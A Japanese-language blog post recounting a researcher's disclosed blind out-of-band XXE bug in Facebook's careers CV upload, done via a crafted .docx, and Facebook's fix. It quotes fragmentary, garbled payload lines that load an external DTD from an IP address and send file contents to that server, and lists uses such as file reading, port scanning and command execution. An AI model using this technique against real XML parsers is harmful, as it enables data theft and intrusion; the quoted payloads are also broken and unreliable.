セキュリティ · 1 min read · Nov 23, 2025
Facebookのハッキング:Word文書へのXMLペイロードの注入

Table Of Contents
- Facebookのハッキング:偽造されたMicrosoft Word文書を使用
- 既知の脆弱性
- その後
- 受け取った報酬
Facebookのハッキング:偽造されたMicrosoft Word文書を使用
ホワイトハットセキュリティ研究者のモハメド・ラマダンは、偽造されたMicrosoft Word .docxファイルを使用してユーザーを制御できるFacebookの重大な脆弱性を発見しました。
ラマダンは、Google、Facebook、Twitter、Microsoftなどの主要サービスプロバイダーで脆弱性を見つけ、バグバウンティ報酬を受け取っています。
既知の脆弱性
Facebookが世界で最も安全なサーバーを持っていないことは周知の事実です。2010年以降、多くの人々が高Severityのバグを報告しており、ソーシャルネットワークは2013年末にOpenIDに影響を与える危険なXXE脆弱性を修正しました。XXE(XML External Entity)は、弱いXMLパースメカニズムを悪用する手法です。この攻撃は、機密データの漏洩、サービス拒否、パーサーが存在するマシンからのポートスキャン、その他のシステムへの影響を引き起こす可能性があります。これらの修正については、こちらで詳しく読むことができます。
Facebookは、すべてのサーバーを修正したと明言しており、別のXXE脆弱性を見つけることは非常に難しいと思われました。それでもラマダンは探求を続けることに決めました。いくつかの調査の後、彼はFacebookのキャリアページ https://www.facebook.com/careers/ にたどり着きました。彼はFacebookにCVをアップロードすることに成功しましたが、PDFまたは.DOCX形式のファイルしかアップロードできないことに気付きました。.docxファイル形式は基本的にMicrosoftが開発した圧縮されたxmlファイルであり、ラマダンはFacebookのセキュリティシステムに抜け穴を見つけました。彼は偽造されたMicrosoft Word文書で偽のCVを作成し、Facebookのキャリアウェブページにアップロードしました。
彼は以下のコードが書かれたXMLファイルを作成しました
DOCTYPE root [ dtd SYSTEM “https://197.37.102.90/ext.dtd”> %dtd; %send; ]]>
今、彼は偽造されたCVを準備しました。彼はローカルマシンでPythonでHTTPサーバーを起動しました。彼はmohaab007ディレクトリにext.dtdという名前のファイルを作成し、ext.dtdの内容は以下の通りです:
https://197.37.102.90/FACEBOOK-HACKED?%25file;’>” > %all;
偽造されたWord CVをアップロードした後、彼はFacebookウェブサイトからの応答を待ちました。彼のブログに記載されているように、
“今、すべてが良好で、CV.docxをhttps://www.facebook.com/careers/にアップロードし、1分待ちましたが、何も起こりませんでした。私は自分に言いました、これは完全な失敗で、代わりに自分のFacebookプロフィールをチェックし、友達とチャットし、ゲームでもしようと思いました。この長い失敗した試みの後、約15分ほどチャットしてブラウジングしていました。今はPython HTTPサーバーを停止し、Facebookとすべてを閉じる時間です。私はターミナルウィンドウを閉じようとして、私のPython HTTPサーバーに何かが接続されたのを見てショックを受けました。”
彼はFacebookサーバーを騙して自分のサーバーに接続させることに成功しました。彼自身の言葉で、彼はこの接続を利用して次のことを行うことができました:
例えば、file:///dev/random | file:///dev/urandom | file://c:/con/conを開くことでパースシステムをDoSする
HTTP外部エンティティを使用してTCPスキャンを行う(アプリケーションサーバーは攻撃者とは異なる世界観を持っているため、ファイアウォールの背後でも可能)
パースシステムファイルシステムに保存されたXMLファイルとしてのデータへの不正アクセス(もちろん、攻撃者はこれらのデータを取り戻す方法が必要です)
他のシステムへのDoS(パースシステムが他のシステムへのTCP接続を確立することが許可されている場合)
攻撃者の制御下にあるシステムへのUNCファイルアクセスを開始することによるNTLM認証資料の盗難(遠い話?)
終末シナリオ:この攻撃に脆弱な広く展開され、高度に接続されたアプリケーションがDDoSに使用される可能性があります。
ディレクトリリスト、システムおよびアプリケーションファイルの読み取り、場合によってはphp expect://ラッパーを使用してシステムコマンドを実行する。
その後
彼はサーバー上のシステムファイルにアクセスしようとしましたが、セキュリティメカニズムのためにアクセスできなかった可能性が高いです。しかし、彼は自分が成功させた攻撃がBlind XXE Out Of Band(OOB)であり、結果を待つために15分以上かかる時間のかかるプロセスであることに自信を持っていました。何の前触れもなく、彼はソーシャルネットワークに自分の発見を知らせました。彼の発見は最初は完全に却下され、以下の言葉が返されました。

彼はFacebookのセキュリティチームに偽造されたCVを送信し、FBは以下の返信をしました:

彼はまだ満足せず、Facebookのセキュリティチームとのやり取りを続け、最終的にファイルアップロードメカニズムの脆弱性を認識しました。

受け取った報酬
Facebookは脆弱性を認め、そのポリシーに従ってラマダンに研究に対する報酬を与えました。彼らは以下のコード行を追加することで脆弱性を修正しました:
“ libxml_disable_entity_loader(true) “
以下は、ラマダンがFacebookの脆弱性を示すためにYouTubeにアップロードしたPoCビデオです
Resource : Attack Secure
新しい投稿を受信箱で受け取る
スパムはありません。いつでも購読を解除できます。